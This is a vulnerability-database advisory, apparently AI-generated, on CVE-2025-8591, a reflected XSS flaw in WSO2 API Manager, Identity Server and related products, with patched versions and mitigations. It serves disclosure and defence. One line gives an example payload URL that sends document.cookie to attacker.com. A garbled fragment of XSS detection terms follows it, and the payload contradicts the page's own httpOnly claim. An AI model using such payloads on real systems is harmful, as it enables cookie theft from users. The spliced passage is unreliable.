
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-8591 is a reflected cross-site scripting (XSS) vulnerability affecting multiple WSO2 products, including WSO2 API Manager, Identity Server, API Control Plane, Traffic Manager, Universal Gateway, Open Banking AM, Open Banking IAM, and Identity Server as Key Manager. The vulnerability arises from insufficient output encoding of user-supplied input received via URL parameters before it is reflected back to the user's browser. It was published on July 6, 2026, with patches made available on the same date. The CVSS v3.1 base score is 6.1 (Medium) (GitHub Advisory, WSO2 Advisory).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The application reflects user-controlled URL parameter values directly into HTML responses without applying proper context-aware output encoding, enabling an attacker to inject arbitrary JavaScript or HTML. Exploitation requires no authentication and no special privileges, but does require user interaction — specifically, a victim must click a crafted malicious link. The impact is partially mitigated by the use of httpOnly flags on session-related cookies, which prevents direct session token theft via JavaScript (GitHub Advisory, WSO2 Advisory).
Successful exploitation allows an unauthenticated attacker to inject malicious scripts into pages rendered by the victim's browser, enabling browser redirection to attacker-controlled websites, UI manipulation, and theft of non-session browser data (e.g., form inputs, local storage contents). Session hijacking is not possible due to httpOnly cookie protections. The vulnerability affects a broad range of WSO2 enterprise products used for API management and identity services, meaning exploitation could target end users of these platforms in phishing or credential-harvesting campaigns (GitHub Advisory, WSO2 Advisory).
https://target.example.com/vulnerable-endpoint?param=<script>document.location='https://attacker.com/?c='+document.cookie</script>.%3Cscript%3E, onerror=, javascript:).WSO2 has released patched versions for all affected products. Organizations should upgrade to the following minimum versions: API Manager (3.1.0.355, 3.2.0.459, 3.2.1.78, 4.0.0.380, 4.1.0.243, 4.2.0.183, 4.3.0.94, 4.4.0.58, 4.5.0.43, 4.6.0.7), Identity Server (5.10.0.384, 6.0.0.255, 7.0.0.131, 7.1.0.51), API Control Plane (4.5.0.44, 4.6.0.8), Traffic Manager (4.5.0.42, 4.6.0.7), Universal Gateway (4.5.0.42, 4.6.0.7), Open Banking AM (2.0.0.404), Open Banking IAM (2.0.0.424), and Identity Server as Key Manager (5.10.0.375). As interim mitigations, deploying a Web Application Firewall (WAF) with XSS filtering rules and implementing a strict Content Security Policy (CSP) header can reduce exploitation risk. Upgrading to patched versions is the recommended remediation (WSO2 Advisory).
The vulnerability received routine coverage from automated CVE tracking services and vulnerability databases shortly after disclosure. No notable independent researcher commentary, vendor statements beyond the official WSO2 advisory, or significant social media discussion has been identified beyond standard CVE broadcast posts (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."